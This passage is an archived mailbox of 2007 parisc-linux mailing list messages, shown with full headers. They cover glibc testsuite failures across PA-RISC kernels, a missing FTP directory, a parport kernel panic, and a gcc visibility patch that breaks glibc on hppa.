	Tue, 12 Jun 2007 13:36:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24587-09; Tue, 12 Jun 2007 13:36:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 037157DD91;
	Tue, 12 Jun 2007 13:36:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E1827DD93
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 13:35:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24587-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 13:35:54 -0600 (MDT)
Original-Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.177])
	by free.linux.hp.com (Postfix) with ESMTP id 3BDE57DD91
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 13:35:54 -0600 (MDT)
Original-Received: by wa-out-1112.google.com with SMTP id j40so2915361wah
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 12:35:53 -0700 (PDT)
Original-Received: by 10.114.37.1 with SMTP id k1mr7039071wak.1181676953342;
	Tue, 12 Jun 2007 12:35:53 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Tue, 12 Jun 2007 12:35:53 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9YELNghpZCEWb7GPamwhK6NwIGhpZQbV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24646

--===============1563119468==
Content-Type: multipart/alternative; 
	boundary="----=_Part_9174_8171156.1181676953322"

------=_Part_9174_8171156.1181676953322
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

I have run the Ubuntu glibc testsute (feisty) in three different
configurations.  This setup is Ubuntu Feisty, except that I'm using
gcc-4.2instead of
gcc-4.1.  The first kernel is from Kyle's merge tree from ~1 week ago.  The
second one adds jda's dirent patch and ggg's SMP patch but compiled for UP.
The third is the second kernel compiled for SMP.

The only conclusion that I can draw is that some of the threading bits
aren't actually SMP-safe.  That said, Grant's SMP patch holds up under make
-j2 on glibc, and the system would kill the SCSI drive before I ever got
that far before.  Note also that tst-pie1 still segfaults the whole way
through as well.

Kernel #1 (baseline):
(Note that Carlos doesn't see several of these, I'm still converging my
error set with his, so this is provided for reference only)

tststatic2.out] Error 1
tststatic.out] Error 1
check-textrel.out] Error 1
tst-addr1.out] Error 1
tst-audit2.out] Error 139
tst-pie1.out] Error 139
tst-tls9-static.out] Error 1
test-double.out] Error 1
test-idouble.out] Error 1
tst-cancelx20.out] Error 1
tst-cancelx21.out] Error 1
tst-cancelx4.out] Error 1
tst-cancelx5.out] Error 1
tst-cleanupx4.out] Error 1
tst-cond16.out] Error 1
tst-fork1.out] Error 143 (Spun out, killed by hand)
tst-initializers1-c99.o] Error 1
tst-initializers1-gnu99.o] Error 1
tst-initializers1.o] Error 1
tst-robustpi8.out] Error 1
tst-cputimer1.out] Error 1
tst-cputimer2.out] Error 1
tst-cputimer3.out] Error 1
tst-mqueue3.out] Error 1
tst-timer4.out] Error 1
tst-timer5.out] Error 1

Kernel #2 versus Kernel #1:
Added:
tst-cond17.out] Error 1

Removed:
tst-robustpi8.out] Error 1

Kernel #3 versus Kernel #2:
Added:
nptl/tst-barrier3.out] Error 1
nptl/tst-basic4.out] Error 1
nptl/tst-cond18.out] Error 1
nptl/tst-cond20.out] Error 1
nptl/tst-cond21.out] Error 1
nptl/tst-exec1.out] Error 1

Removed:
dlfcn/tststatic2.out] Error 1
dlfcn/tststatic.out] Error 1
elf/tst-tls9-static.out] Error 1
nptl/tst-fork1.out] Error 143



-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/

------=_Part_9174_8171156.1181676953322
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

I have run the Ubuntu glibc testsute (feisty) in three different configurations.&nbsp; This setup is Ubuntu Feisty, except that I&#39;m using gcc-4.2 instead of gcc-4.1.&nbsp; The first kernel is from Kyle&#39;s merge tree from ~1 week ago.&nbsp; The second one adds jda&#39;s dirent patch and ggg&#39;s SMP patch but compiled for UP.&nbsp; The third is the second kernel compiled for SMP.
<br><br>The only conclusion that I can draw is that some of the threading bits aren&#39;t actually SMP-safe.&nbsp; That said, Grant&#39;s SMP patch holds up under make -j2 on glibc, and the system would kill the SCSI drive before I ever got that far before.&nbsp; Note also that tst-pie1 still segfaults the whole way through as well.
<br><br>Kernel #1 (baseline):<br>(Note that Carlos doesn&#39;t see several of these, I&#39;m still converging my error set with his, so this is provided for reference only)<br><br><div style="margin-left: 40px;">tststatic2.out
] Error 1<br>tststatic.out] Error 1<br>check-textrel.out] Error 1<br>tst-addr1.out] Error 1<br>tst-audit2.out] Error 139<br>tst-pie1.out] Error 139<br>tst-tls9-static.out] Error 1<br>test-double.out] Error 1<br>test-idouble.out
] Error 1<br>tst-cancelx20.out] Error 1<br>tst-cancelx21.out] Error 1<br>tst-cancelx4.out] Error 1<br>tst-cancelx5.out] Error 1<br>tst-cleanupx4.out] Error 1<br>tst-cond16.out] Error 1<br>tst-fork1.out] Error 143 (Spun out, killed by hand)
<br>tst-initializers1-c99.o] Error 1<br>tst-initializers1-gnu99.o] Error 1<br>tst-initializers1.o] Error 1<br>tst-robustpi8.out] Error 1<br>tst-cputimer1.out] Error 1<br>tst-cputimer2.out] Error 1<br>tst-cputimer3.out] Error 1
<br>tst-mqueue3.out] Error 1<br>tst-timer4.out] Error 1<br>tst-timer5.out] Error 1<br></div><br>Kernel #2 versus Kernel #1:<br><div style="margin-left: 40px;">Added:<br>tst-cond17.out] Error 1<br><br>Removed:<br>tst-robustpi8.out
] Error 1<br></div><br>Kernel #3 versus Kernel #2:<br><div style="margin-left: 40px;">Added:<br>nptl/tst-barrier3.out] Error 1<br>nptl/tst-basic4.out] Error 1<br>nptl/tst-cond18.out] Error 1<br>nptl/tst-cond20.out] Error 1
<br>nptl/tst-cond21.out] Error 1<br>nptl/tst-exec1.out] Error 1<br><br>Removed:<br>dlfcn/tststatic2.out] Error 1<br>dlfcn/tststatic.out] Error 1<br>elf/tst-tls9-static.out] Error 1<br>nptl/tst-fork1.out] Error 143<br></div>
<br><br clear="all"><br>-- <br>Jeff Bailey - <a href="http://www.raspberryginger.com/jbailey/">http://www.raspberryginger.com/jbailey/</a>

------=_Part_9174_8171156.1181676953322--

--===============1563119468==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1563119468==--



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: directory missing
Date: Fri, 8 Jun 2007 11:22:51 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20070608172251.GC7727__37763.2689349868$1416624391$gmane$org@ldl.fc.hp.com>
References: <4669591B.9050000@hoendiep.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624391 24500 80.91.229.3 (22 Nov 2014 02:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:31 +0000 (UTC)
Cc: ftpmaster@ftp.parisc-linux.org,
 parisc-linux@lists.parisc-linux.org
To: Fabio Bracci <fabio@hoendiep.ath.cx>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2007 20:35:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 12 Jun 2007 22:35:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D81667DDBB;
	Tue, 12 Jun 2007 14:35:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25069-08; Tue, 12 Jun 2007 14:35:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B1B97DDB8;
	Tue, 12 Jun 2007 14:35:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10EF37DDA8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Jun 2007 11:22:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14293-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Jun 2007 11:22:11 -0600 (MDT)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by free.linux.hp.com (Postfix) with ESMTP id 4EE887DDA7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Jun 2007 11:22:11 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP id 96EFD37BA7;
	Fri,  8 Jun 2007 13:22:06 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 707A8143A1A;
	Fri,  8 Jun 2007 17:22:06 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 4CCAA134A8B;
	Fri,  8 Jun 2007 11:22:06 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id V5AcUN+DKpx3; Fri,  8 Jun 2007 11:22:00 -0600 (MDT)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id E164A134A8A;
	Fri,  8 Jun 2007 11:21:58 -0600 (MDT)
Original-Received: by krebs (Postfix, from userid 20800)
	id 9A4D03B6266; Fri,  8 Jun 2007 11:22:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4669591B.9050000@hoendiep.ath.cx>
User-Agent: Mutt/1.5.15+20070515 (2007-05-02)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Tue, 12 Jun 2007 14:35:25 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ozVccqQWTXs8bKyRbmQ5axBKRzdyMoPH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24647

On Fri, Jun 08, 2007 at 03:26:51PM +0200, Fabio Bracci wrote:
> Hello,
>     While browsing on the site www.parisc-linux.org, I found a faq
> pointing at a debian netinstall iso on your ftp site:
> http://ftp.parisc-linux.org/cd-images/testing/auto-isos/
> 
> This link doesn't exist at all, nor I could figure out in which
> subdirectory those images are to be found. It looks like the whole
> directory is missing.
> Are such images still offered on your ftp site? or is it simply a matter
> of a wrong link by www.parisc-linux.org?

Thanks for the report - forwarding to the developers.

-- 
dann frazier

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status of parport driver in 2.6.20.1
Date: Wed, 13 Jun 2007 02:15:02 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <466F3706.3020907__43784.065944101$1416624391$gmane$org@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624391 24501 80.91.229.3 (22 Nov 2014 02:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2007 00:15:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 13 Jun 2007 02:15:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC4C17DDDE;
	Tue, 12 Jun 2007 18:15:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27052-03; Tue, 12 Jun 2007 18:15:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B877A7DDDB;
	Tue, 12 Jun 2007 18:15:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94CD47DDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 18:15:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26371-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 18:15:04 -0600 (MDT)
Original-Received: from mailout1.zih.tu-dresden.de (mailout1.zih.tu-dresden.de
	[141.30.67.72])
	by free.linux.hp.com (Postfix) with ESMTP id B11517DDD3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Jun 2007 18:15:04 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout1.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>) id 1HyGVr-0000eb-D0
	for parisc-linux@lists.parisc-linux.org; Wed, 13 Jun 2007 02:15:03 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 38EE9100D82F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 02:15:03 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
X-TUD-Virus-Scanned: mailout1.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XEIOIjRpa0ApbL6aejEz5YM3Njh6dI4i
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24648

Hello,

I am running a 2.6.20.1 kernel on a C3600 workstation and want to hook 
up a printer to the parallel port. But modprobe'ing parport-pc or 
parport-serial gives me:

Kernel panic - not syncing: High Priority Machine Check (HPMC)

(This is using a serial line, no clue where the backtrace went...)

What is the current status of the parport driver on C3600 systems? Is 
this supposed to work? If so I am happy to provide a more thorough bug 
report.

Regards,
Julian
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: seb@frankengul.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Wed, 13 Jun 2007 10:21:33 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20070613082133.GA19999__2196.99216909266$1416624391$gmane$org@frankengul.org>
References: <466F052F.6080009@frankengul.org> <200706122224.l5CMO7Lk011584@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624391 24504 80.91.229.3 (22 Nov 2014 02:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:31 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2007 08:21:42 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx007) with SMTP; 13 Jun 2007 10:21:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 574262DE87; Wed, 13 Jun 2007 08:21:09 +0000 (UTC)
Old-Return-Path: <seb@frankengul.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.9 required=4.0 tests=AWL,BAYES_00,LDOSUBSCRIBER,
	MURPHY_DRUGS_REL8,NO_REAL_NAME autolearn=ham version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from calypso.frankengul.org (calypso.frankengul.org [213.41.240.201])
	by murphy.debian.org (Postfix) with ESMTP id 751C92DDB3
	for <debian-hppa@lists.debian.org>; Wed, 13 Jun 2007 08:21:03 +0000 (UTC)
Original-Received: by calypso.frankengul.org (Postfix, from userid 1000)
	id 7C9BE1070B3; Wed, 13 Jun 2007 10:21:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200706122224.l5CMO7Lk011584@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <6cYt8C.A.k8H.1j6bGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5808
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 13 Jun 2007 08:21:09 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: IZFachRCRkkfWauPfGRqwX5mdWkvKNO7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24649

On Tue, Jun 12, 2007 at 06:24:06PM -0400, John David Anglin wrote:
> > Here is the reduced diff. I removed anything that is unrelated to hppa,
> > C or anything.
> > The diff is between -7 and -12.
> > The diff is mere 300 lines long.
> > The problem lies here.
> 
> The odds are the problem lies in the change to varasm.c.

This patch is a part of PR20218.
4.1/4.2 PATCH: PR middle-end/20218: Can't use __attribute__ ((visibility ("hidden"))) to hide a symbol

I could remove this patch altogether. But I still wonder why this patch works
ok on other archs and not on hppa*.

	Seb


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Wed, 13 Jun 2007 09:32:24 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200706131332.l5DDWObn025750__45432.7023741373$1416624392$gmane$org@hiauly1.hia.nrc.ca>
References: <20070613082133.GA19999@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624392 24506 80.91.229.3 (22 Nov 2014 02:46:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:32 +0000 (UTC)
Cc: aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: seb@frankengul.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jun 2007 13:51:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 13 Jun 2007 15:51:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CECC7DE17;
	Wed, 13 Jun 2007 07:51:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02042-07; Wed, 13 Jun 2007 07:51:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC98D7DE13;
	Wed, 13 Jun 2007 07:51:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D54677DE10
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 07:51:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02042-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 07:51:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 008257DE0C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jun 2007 07:51:14 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l5DDWP67025751;
	Wed, 13 Jun 2007 09:32:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l5DDWObn025750;
	Wed, 13 Jun 2007 09:32:24 -0400 (EDT)
In-Reply-To: <20070613082133.GA19999@frankengul.org> from "seb@frankengul.org"
	at Jun 13, 2007 10:21:33 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CLIlARZva2A6a7vDOHQyOkQyOWhhaofI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24650

